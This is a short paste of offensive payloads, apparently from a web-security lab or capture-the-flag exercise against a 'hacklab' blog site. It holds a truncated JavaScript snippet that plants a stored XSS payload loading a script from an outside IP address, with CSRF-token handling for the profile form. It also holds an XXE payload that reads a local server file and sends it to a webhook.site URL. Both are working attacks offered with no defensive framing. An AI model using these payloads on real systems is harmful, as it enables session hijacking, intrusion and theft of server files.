KhalilKAN

(async () => {
  // --- Config ---
  const target = 'https://chl-d3417b06-e236-48d1-9727-254b9c974893-blog-hacklab-v2.softwareseguro.com.ar/profile';
  const xss = `<script src="http://37.27.14.133/script.js"></script>`; // tu payload

  // Si el sitio usa CSRF (p.ej. Django), tomamos el token de la cookie "csrftoken" si existe
  const getCookie = (name) =>
    document.cookie.split('; ').find(c => c.startsWith(name + '='))?.split('=')[1];

  const csrf = getCookie('csrftoken');

KhalilKAN

<!ENTITY % file SYSTEM "file:///proc/self/cwd/brand-guide.html">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'https://webhook.site/32a94ce2-7ce8-40fc-b533-d01d35312bb4?d=%file;'>">
%send;